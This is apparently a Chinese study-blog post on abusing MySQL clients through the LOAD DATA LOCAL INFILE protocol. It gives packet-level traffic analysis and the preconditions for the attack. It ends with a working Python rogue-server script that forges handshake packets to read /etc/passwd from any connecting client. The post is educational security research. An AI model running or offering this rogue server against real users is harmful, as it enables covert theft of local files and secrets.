Learning Man's Blog

Abusing MySQL Clients 学习

字数统计: 1.2k阅读时长: 6 min
2019/04/19

LOAD DATA

LOAD DATA

LOAD DATA
    [LOW_PRIORITY | CONCURRENT] [LOCAL]
    INFILE 'file_name'
    [REPLACE | IGNORE]
    INTO TABLE tbl_name
    [PARTITION (partition_name [, partition_name] ...)]
    [CHARACTER SET charset_name]
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]
    [IGNORE number {LINES | ROWS}]
    [(col_name_or_user_var
        [, col_name_or_user_var] ...)]
    [SET col_name={expr | DEFAULT},
        [, col_name={expr | DEFAULT}] ...]

常用语法,fields terminated by '分隔符'选用,第一句为读取服务端文件内容至table_name中,第二句为读取客户端文件内容

load data infile "/data/data.csv" into table table_name;
load data local infile "/dataata.csv" into table table_name fields terminated by '分隔符';

官方对此提出的安全隐患提示,修补建议也在此文档中可见

-w1145

流量分析

CentOS 7 :

  • 132.232.84.148
  • Mysql Ver 14.14 Distrib 5.7.25

Kali :

  • 10.211.55.8
  • Mysql Ver 15.1 Distrib 10.1.29-MariaDB

流量包下载

连接认证

-w1285

客户端连接简单来说为3步:

  1. Create Greeting [4]
  2. Auth [6,8]
  3. Query Version [9,11]

  1. Greeting:会返回服务端的banner信息,并通过标志位表示支持的功能

-w1254

  1. Auth: 传输Username,Password(因空密码所以无此值),并通过设置标志位选择使用的功能

-w1128

  1. Query:请求服务端系统变量version_comment

-w1268

文件读取

Local infile Request
ProtocolText::Resultset
ColumnDefinition

-w1181

也是分为3步:

  1. 客户端发送 query 请求 [30]
  2. 服务端请求客户端文件读取 [32]
  3. 客户端返回读取的文件内容 [34]

  1. Query:客户端请求执行sql
LOAD DATA LOCAL INFILE '/etc/hosts' INTO TABLE test FIELDS TERMINATED BY "\n";

-w1122

  1. LFI:服务端向客户端请求读取文件

-w1147

length = 0b 00 00, sequence-id = 01

  • fb -> Protocol::MYSQL_TYPE_LONG_BLOB
  • 2f 65 74 63 2f 68 6f 73 74 73 -> /etc/hosts

注意length是sequence-id之后的数据长度,即len(filename)+1

  1. 客户端向服务端发送读取的文件内容

-w1127

利用

条件

1. LOAD DATA INFILE enable

如需使用LOAD DATA INFILE按官方文档所述,需Server/Client均启用CLIENT_LOCAL_FILES,即Can Use LOAD DATA LOCAL: Set

-w620

官方所述,在<=8.0.1版本均默认开启,如未开启可在连接时使用--enable-local-infile

Property Value
System Variable local_infile
Scope Global
Dynamic Yes
SET_VAR Hint Applies No
Type Boolean
Default Value (>= 8.0.2) OFF
Default Value (<= 8.0.1) ON

2. secure_file_prive empty

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

  • null,表示限制 mysql 不允许导入|导出
  • /tmp/,文件的导入导出仅允许在此目录下
  • 无具体值,不对文件的导入导出进行限制
MySQL [test]> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv    |
+-----------------------+
| /var/lib/mysql-files/ |
+-----------------------+

3. file 权限

为读取文件,必须有 File 权限

攻击流程

划重点,客户端根据请求的响应结果来执行后续操作,而且不验证请求&响应的关联性(保留意见)

所以在Mysql认证后的请求版本[9]后,可以通过修改响应为LOAD DATA LOCAL[32],即可恶意读取客户端文件

所以我们需要伪造3个数据包,分别是

  • Greeting [4]
  • Auth OK [8]
  • Query Response [11] -> LOAD DATA INFILE [32]

  1. Greeting:begin at 0036
0000   00 1c 42 d4 fc a3 00 1c 42 00 00 18 08 00 45 00   ..B..B.....E.
0010   00 76 e7 d9 00 00 80 06 37 51 84 e8 54 94 0a d3   .vçÙ....7Q.èT..Ó
0020   37 08 0c ea d3 0c 86 50 d4 29 7c 10 61 0a 50 18   7..êÓ..PÔ)|.a.P.
0030   40 00 57 ab 00 00 | 4a 00 00 00 0a 35 2e 37 2e 32   @.W«..J....5.7.2
0040   35 00 0a 00 00 00 41 78 74 03 09 0e 1e 25 00 ff   5.....Axt....%.ÿ
0050   ff 08 02 00 ff c1 15 00 00 00 00 00 00 00 00 00   ÿ...ÿÁ..........
0060   00 50 1d 1d 2e 60 62 44 01 6f 3f 0e 65 00 6d 79   .P...`bD.o?.e.my
0070   73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 73 77   sql_native_passw
0080   6f 72 64 00                                       ord.
  1. Auth OK:begin at 0036
0000   00 1c 42 d4 fc a3 00 1c 42 00 00 18 08 00 45 00   ..B..B.....E.
0010   00 33 e7 db 00 00 80 06 37 92 84 e8 54 94 0a d3   .3çÛ....7..èT..Ó
0020   37 08 0c ea d3 0c 86 50 d4 77 7c 10 61 bd 50 18   7..êÓ..PÔw|.a½P.
0030   40 00 34 d9 00 00 | 07 00 00 02 00 00 00 02 00 00   @.4Ù............
0040   00                                                .
  1. Query Response [11] -> LOAD DATA INFILE [32]:begin at 0036
0000   00 1c 42 d4 fc a3 00 1c 42 00 00 18 08 00 45 00   ..B..B.....E.
0010   00 37 e7 e9 00 00 80 06 37 80 84 e8 54 94 0a d3   .7çé....7..èT..Ó
0020   37 08 0c ea d3 0c 86 50 d6 bd 7c 10 62 80 50 18   7..êÓ..PÖ½|.b.P.
0030   40 00 1b 17 00 00 | 0b 00 00 01 fb 2f 65 74 63 2f   @.........û/etc/
0040   68 6f 73 74 73                                    hosts

除了第三个包需要根据filename来修改,其他两个可以直接拿来用,给出脚本

import socket
from time import sleep

filename='/etc/passwd'

a='4a0000000a352e372e3235000a00000041787403090e1e2500ffff080200ffc11500000000000000000000501d1d2e606244016f3f0e65006d7973716c5f6e61746976655f70617373776f726400'.decode('hex')
b='0700000200000002000000'.decode('hex')
c=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename

HOST = '0.0.0.0'
PORT = 3306

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(5)

print 'Server start at: %s:%s' %(HOST, PORT)
print 'wait for connection...'

while True:
    conn, addr = s.accept()
    print 'Connected by ', addr
    conn.send(a)
    conn.recv(1024).encode('hex')
    conn.send(b)
    conn.recv(1024).encode('hex')
    conn.send(c)
    print '--------------- %s ----------------' % filename
    print conn.recv(2048)[4:]

参考资料

  1. https://www.vesiluoma.com/abusing-mysql-clients/
  2. https://lightless.me/archives/read-mysql-client-file.html
CATALOG
  1. 1. LOAD DATA
  2. 2. 流量分析
    1. 2.1. 连接认证
    2. 2.2. 文件读取
  3. 3. 利用
    1. 3.1. 条件
      1. 3.1.1. 1. LOAD DATA INFILE enable
      2. 3.1.2. 2. secure_file_prive empty
      3. 3.1.3. 3. file 权限
    2. 3.2. 攻击流程
  4. 4. 参考资料